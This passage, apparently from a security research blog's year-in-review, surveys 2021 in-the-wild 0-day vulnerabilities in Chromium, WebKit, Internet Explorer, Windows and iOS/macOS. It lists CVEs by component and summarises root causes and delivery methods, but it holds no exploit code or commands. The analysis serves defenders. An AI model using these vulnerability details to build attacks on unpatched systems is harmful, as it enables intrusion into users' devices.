<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">The 14 0-day vulnerabilities were in the following components:</span></p><ul style="padding: 0;" class="c6 lst-kix_1mxsacho6zj1-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>6 JavaScript Engine - v8 (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html">CVE-2021-21148</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html">CVE-2021-30551</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html">CVE-2021-30563</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html">CVE-2021-30632</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html">CVE-2021-37975</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html">CVE-2021-38003</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>2 DOM Engine - Blink (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html">CVE-2021-21193</a></span><span> & </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html">CVE-2021-21206</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 WebGL (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html">CVE-2021-30554</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 IndexedDB (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html">CVE-2021-30633</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 webaudio (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html">CVE-2021-21166</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 Portals (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html">CVE-2021-37973</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 Android Intents (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-38000.html">CVE-2021-38000</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 Core (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html">CVE-2021-37976</a></span><span class="HNYIspzEBn-c0">)</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">When we look at the components targeted by these bugs, they’re all attack surfaces seen before in public security research and previous exploits. If anything, there are a few less DOM bugs and more targeting these other components of browsers like IndexedDB and WebGL than previously. 13 out of the 14 Chromium 0-days were memory corruption bugs. Similar to last year, most of those memory corruption bugs are use-after-free vulnerabilities.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>A couple of the Chromium bugs were even similar to previous in-the-wild 0-days. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html">CVE-2021-21166</a></span><span> is an issue in </span><span class="HNYIspzEBn-c10">ScriptProcessorNode::Process()</span><span> in webaudio where there’s insufficient locks such that buffers are accessible in both the main thread and the audio rendering thread at the same time. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html">CVE-2019-13720</a></span><span> is an in-the-wild 0-day from 2019. It was a vulnerability in </span><span class="HNYIspzEBn-c10">ConvolverHandler::Process()</span><span class="HNYIspzEBn-c0"> in webaudio where there were also insufficient locks such that a buffer was accessible in both the main thread and the audio rendering thread at the same time.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html">CVE-2021-30632</a></span><span> is another Chromium in-the-wild 0-day from 2021. It’s a type confusion in the TurboFan JIT in Chromium’s JavaScript Engine, v8, where Turbofan fails to deoptimize code after a</span><span> property map is changed</span><span>. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html">CVE-2021-30632</a></span><span> in particular deals with code that stores global properties. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-16009.html">CVE-2020-16009</a></span><span class="HNYIspzEBn-c0"> was also an in-the-wild 0-day that was due to Turbofan failing to deoptimize code after map deprecation.</span></p><h2 class="HNYIspzEBn-c7" id="h.q5lkhzsdchwk"><span class="HNYIspzEBn-c12">WebKit (Safari)</span></h2>
<p class="HNYIspzEBn-c5"><span>Prior to 2021, Apple had only acknowledged </span><span>1 publicly known in-the-wild 0-day targeting WebKit/Safari, and that was due </span><span>the sharing by an external researcher. In 2021 there were 7. This makes it hard for us to assess trends or changes since we don’t have historical samples to go off of. Instead, we’ll look at 2021’s WebKit bugs in the context of other Safari bugs not known to be in-the-wild and other browser in-the-wild 0-days. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">The 7 in-the-wild 0-days targeted the following components:</span></p><ul style="padding: 0;" class="c6 lst-kix_knibgsincpme-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>4 Javascript Engine - JavaScript Core (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212146">CVE-2021-1870</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212146">CVE-2021-1871</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212336">CVE-2021-30663</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212336">CVE-2021-30665</a></span><span class="HNYIspzEBn-c0">)</span></li></ul><ul style="padding: 0;" class="c6 lst-kix_grz5i5wr9ig-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 IndexedDB (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html">CVE-2021-30858</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 Storage (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212317">CVE-2021-30661</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 Plugi</span><span>n</span><span>s (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1879.html">CVE-2021-1879</a></span><span class="HNYIspzEBn-c0">)</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">The one semi-surprise is that no DOM bugs were detected and disclosed. In previous years, vulnerabilities in the DOM engine have generally made up 15-20% of the in-the-wild browser 0-days, but none were detected and disclosed for WebKit in 2021. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>It would not be surprising if attackers are beginning to shift to other modules, like third party libraries or things like IndexedDB. The modules may be more promising to attackers going forward because there’s a better chance that the vulnerability may exist in multiple browsers or platforms</span><span>.</span><span> For example, the webaudio bug in Chromium, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html">CVE-2021-21166</a></span><span>, also existed in WebKit and was fixed as </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212223">CVE-2021-1844</a></span><span>, though there was no evidence it was exploited in-the-wild in WebKit. The IndexedDB in-the-wild 0-day that was used against Safari in 2021, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html">CVE-2021-30858</a></span><span>, was very, very similar to a </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://bugs.chromium.org/p/chromium/issues/detail?id=1032890">bug fixed in Chromium in January 2020</a></span><span>.</span></p><h2 class="HNYIspzEBn-c7" id="h.pypmw8ahj82o"><span class="HNYIspzEBn-c12">Internet Explorer</span></h2>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Since we began tracking in-the-wild 0-days, Internet Explorer has had a pretty consistent number of 0-days each year. 2021 actually tied 2016 for the most in-the-wild Internet Explorer 0-days we’ve ever tracked even though Internet Explorer’s market share of web browser users continues to decrease.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbMTlnGhVLcVL8K20S3s6hSrpyB6kZAA9CWvWNpn1isbEbLFv0c2rs_dPvM0ALT45NtTvyhp8rGehGDRIAEJ6OZYSkk5mezOEoPJOquVXXyHeqrVOvRGEiQHv_J7Je8Itjc5qhwXMCR-E4y79abuxiddCYoeF2VrVakY-L1q82NeMEPjTA0fFC-t8h/s1200/image4%286%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbMTlnGhVLcVL8K20S3s6hSrpyB6kZAA9CWvWNpn1isbEbLFv0c2rs_dPvM0ALT45NtTvyhp8rGehGDRIAEJ6OZYSkk5mezOEoPJOquVXXyHeqrVOvRGEiQHv_J7Je8Itjc5qhwXMCR-E4y79abuxiddCYoeF2VrVakY-L1q82NeMEPjTA0fFC-t8h/s1200/image4%286%29.png" border="0" alt="Bar graph showing the number of Internet Explorer itw 0-days discovered per year from 2015-2021. 2015: 3, 2016: 4, 2017: 3, 2018: 1, 2019: 3, 2020: 2, 2021: 4. Data from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" style="max-height: 750; max-width: 600px;"title="Bar graph showing the number of Internet Explorer itw 0-days discovered per year from 2015-2021. 2015: 3, 2016: 4, 2017: 3, 2018: 1, 2019: 3, 2020: 2, 2021: 4. Data from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" /></a></span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">So why are we seeing so little change in the number of in-the-wild 0-days despite the change in market share? Internet Explorer is still a ripe attack surface for initial entry into Windows machines, even if the user doesn’t use Internet Explorer as their Internet browser. While the number of 0-days stayed pretty consistent to what we’ve seen in previous years, the components targeted and the delivery methods of the exploits changed. 3 of the 4 0-days seen in 2021 targeted the MSHTML browser engine and were delivered via methods other than the web. Instead they were delivered to targets via Office documents or other file formats. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">The four 0-days targeted the following components:</span></p><ul style="padding: 0;" class="c6 lst-kix_bqyk3pvm93qj-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>MSHTML browser engine (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html">CVE-2021-26411</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-33742.html">CVE-2021-33742</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">CVE-2021-40444</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>Javascript Engine - JScript9 (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448">CVE-2021-34448</a></span><span>)</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>For </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html">CVE-2021-26411</a></span><span> t</span><span>argets of the campaign initially received a </span><span class="HNYIspzEBn-c10">.mht</span><span> file, which prompted the user to open in Internet Explorer. Once it was opened in Internet Explorer, the exploit was downloaded and run. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html">CVE-2021-33742</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">CVE-2021-40444</a></span><span class="HNYIspzEBn-c0"> were delivered to targets via malicious Office documents.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html">CVE-2021-26411</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html">CVE-2021-33742</a></span><span> were two common memory corruption bug patterns: a use-after-free due to a user controlled callback in between two actions using an object and the user frees the object during that callback and a buffer overflow.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>There were a few different vulnerabilities used in the exploit chain that used </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">CVE-2021-40444</a></span><span>, but the one within MSHTML was that as soon as the Office document was opened the payload would run: a CAB file was downloaded, decompressed, and then a function from within a DLL in that CAB was executed. Unlike the previous two MSHTML bugs, this was a logic error in URL parsing rather than a memory corruption bug.</span></p><h2 class="HNYIspzEBn-c7" id="h.i2yh4xx4r7n0"><span class="HNYIspzEBn-c12">Windows</span></h2>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Windows is the platform where we’ve seen the most change in components targeted compared with previous years. However, this shift has generally been in progress for a few years and predicted with the end-of-life of Windows 7 in 2020 and thus why it’s still not especially novel.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">In 2021 there were 10 Windows in-the-wild 0-days targeting 7 different components:</span></p><ul style="padding: 0;" class="c6 lst-kix_rvy0q9fw47sg-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>2 Enhanced crypto provider (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199">CVE-2021-31199</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201">CVE-2021-31201</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>2 NTOS kernel (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771">CVE-2021-33771</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979">CVE-2021-31979</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>2 Win32k (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html">CVE-2021-1732</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/">CVE-2021-40449</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 Windows update medic (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948">CVE-2021-36948</a></span><span class="HNYIspzEBn-c0">) </span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 SuperFetch (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955">CVE-2021-31955</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 dwmcore.dll (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310">CVE-2021-28310</a></span><span class="HNYIspzEBn-c0">)</span></li></ul><ul style="padding: 0;" class="c6 lst-kix_718o7hzyu4f-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>1 ntfs.sys (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956">CVE-2021-31956</a></span><span class="HNYIspzEBn-c0">)</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">The number of different components targeted is the shift from past years. For example, in 2019 75% of Windows 0-days targeted Win32k while in 2021 Win32k only made up 20% of the Windows 0-days. The reason that this was expected and predicted was that 6 out of 8 of those 0-days that targeted Win32k in 2019 did not target the latest release of Windows 10 at that time; they were targeting older versions. With Windows 10 Microsoft began dedicating more and more resources to locking down the attack surface of Win32k so as those older versions have hit end-of-life, Win32k is a less and less attractive attack surface.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Similar to the many Win32k vulnerabilities seen over the years, the </span><span>two 2021 Win32k in-the-wild 0-days are due to custom user callbacks</span><span>. The user calls functions that change the state of an object during the callback and Win32k does not correctly handle those changes. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html">CVE-2021-1732</a></span><span> is a type confusion vulnerability due to a user callback in </span><span class="HNYIspzEBn-c10">xxxClientAllocWindowClassExtraBytes</span><span> which leads to out-of-bounds read and write. If </span><span class="HNYIspzEBn-c10">NtUserConsoleControl</span><span> is called during the callback a flag is set in the window structure to signal that a field is an offset into the kernel heap. </span><span class="HNYIspzEBn-c10">xxxClientAllocWindowClassExtraBytes</span><span> doesn’t check this and writes that field as a user-mode pointer without clearing the flag. The first in-the-wild 0-day detected and disclosed in 2022, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html">CVE-2022-21882</a></span><span>, is due to </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html">CVE-2021-1732</a></span><span> actually not being fixed completely. The attackers found a way to bypass the original patch and still trigger the vulnerability. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/">CVE-2021-40449</a></span><span> is a use-after-free in </span><span class="HNYIspzEBn-c10">NtGdiResetDC</span><span> due to the object being freed during the user callback. </span></p><h2 class="HNYIspzEBn-c7" id="h.dzyrqam42oqk"><span class="HNYIspzEBn-c12">iOS/macOS</span></h2>
<p class="HNYIspzEBn-c5"><span>As discussed in the “More disclosure” section above, 2021 was the first full year that Apple annotated their release notes with in-the-wild status of vulnerabilities. 5 iOS in-the-wild 0-days were detected and disclosed this year. The first publicly known macOS in-the-wild 0-day (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/">CVE-2021-30869</a></span><span class="HNYIspzEBn-c0">) was also found. In this section we’re going to discuss iOS and macOS together because: 1) the two operating systems include similar components and 2) the sample size for macOS is very small (just this one vulnerability).</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPGaOlQUGIYyvpDY_M0rGh3JekH4mwXHfN459HYcklg74v4Mfp8j6fgh2SM09mjhA4svdgN_TdSN3R5Bb-DJTHnlo63qnRTsvLs1EZgAE3fBpRtsZhxKhyBNTb_khdS6mNT3EtSHnS_R-TshtHx-gSWnEPpHjmSqO_9Y7JxupGcDKZ0-xwsxgbX6zR/s1200/image6%284%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPGaOlQUGIYyvpDY_M0rGh3JekH4mwXHfN459HYcklg74v4Mfp8j6fgh2SM09mjhA4svdgN_TdSN3R5Bb-DJTHnlo63qnRTsvLs1EZgAE3fBpRtsZhxKhyBNTb_khdS6mNT3EtSHnS_R-TshtHx-gSWnEPpHjmSqO_9Y7JxupGcDKZ0-xwsxgbX6zR/s1200/image6%284%29.png" border="0" alt="Bar graph showing the number of macOS and iOS itw 0-days discovered per year. macOs is 0 for every year except 2021 when 1 was discovered. iOS - 2015: 0, 2016: 2, 2017: 0, 2018: 2, 2019: 0, 2020: 3, 2021: 5. Data from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" style="max-height: 750; max-width: 600px; "title="Bar graph showing the number of macOS and iOS itw 0-days discovered per year. macOs is 0 for every year except 2021 when 1 was discovered. iOS - 2015: 0, 2016: 2, 2017: 0, 2018: 2, 2019: 0, 2020: 3, 2021: 5. Data from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" /></a></span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>For the 5 total iOS and macOS in-the-wild 0-days</span><span class="HNYIspzEBn-c0">, they targeted 3 different attack surfaces:</span></p><ul style="padding: 0;" class="c6 lst-kix_givsp5ka59r-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>IOMobileFrameBuffer (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212623">CVE-2021-30807</a></span><span>,</span><span> </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212846">CVE-2021-30883</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>XNU Kernel (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212146">CVE-2021-1782</a></span><span> & </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/">CVE-2021-30869</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>CoreGraphics (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">CVE-2021-30860</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>CommCenter</span><span> (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">FORCEDENTRY sandbox escape</a></span><span class="HNYIspzEBn-c0"> - CVE requested, not yet assigned)</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>These 4 attack surfaces are not novel. IOMobileFrameBuffer has been a target of public security research for many years. For example, </span><span>the Pangu Jailbreak from 2016 used </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf">CVE-2016-4654</a></span><span>, a heap buffer overflow in IOMobileFrameBuffer.</span><span> </span><span>IOMobileFrameBuffer manages the screen’s frame buffer. For iPhone 11 (A13) and below, IOMobileFrameBuffer was a kernel driver. Beginning with A14, it runs on a coprocessor, the DCP. It’s a popular attack surface because historically it’s been accessible from sandboxed apps. In 2021 there were two in-the-wild 0-days in IOMobileFrameBuffer. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212623">CVE-2021-30807</a></span><span> is an out-of-bounds read and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212846">CVE-2021-30883</a></span><span> is an integer overflow, both common memory corruption vulnerabilities. In 2022, we already have another in-the-wild 0-day in IOMobileFrameBuffer, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT213053">CVE-2022-22587</a></span><span class="HNYIspzEBn-c0">.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>One iOS 0-day and the macOS 0-day both exploited vulnerabilities in the XNU kernel and both vulnerabilities were in code related to XNU’s inter-process communication (IPC) functionality. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT212146">CVE-2021-1782</a></span><span> exploited a vulnerability in mach vouchers while </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/">CVE-2021-30869</a></span><span> exploited a vulnerability in mach messages. This is not the first time we’ve seen </span><span>iOS in-the-wild 0-days</span><span>, much less public security research, targeting mach vouchers and mach messages. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://support.apple.com/en-us/HT209443">CVE-2019-6625</a></span><span> was exploited as a part of </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html">an exploit chain targeting iOS 11.4.1-12.1.2</a></span><span> and was also a </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html">vulnerability in mach vouchers</a></span><span class="HNYIspzEBn-c0">. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
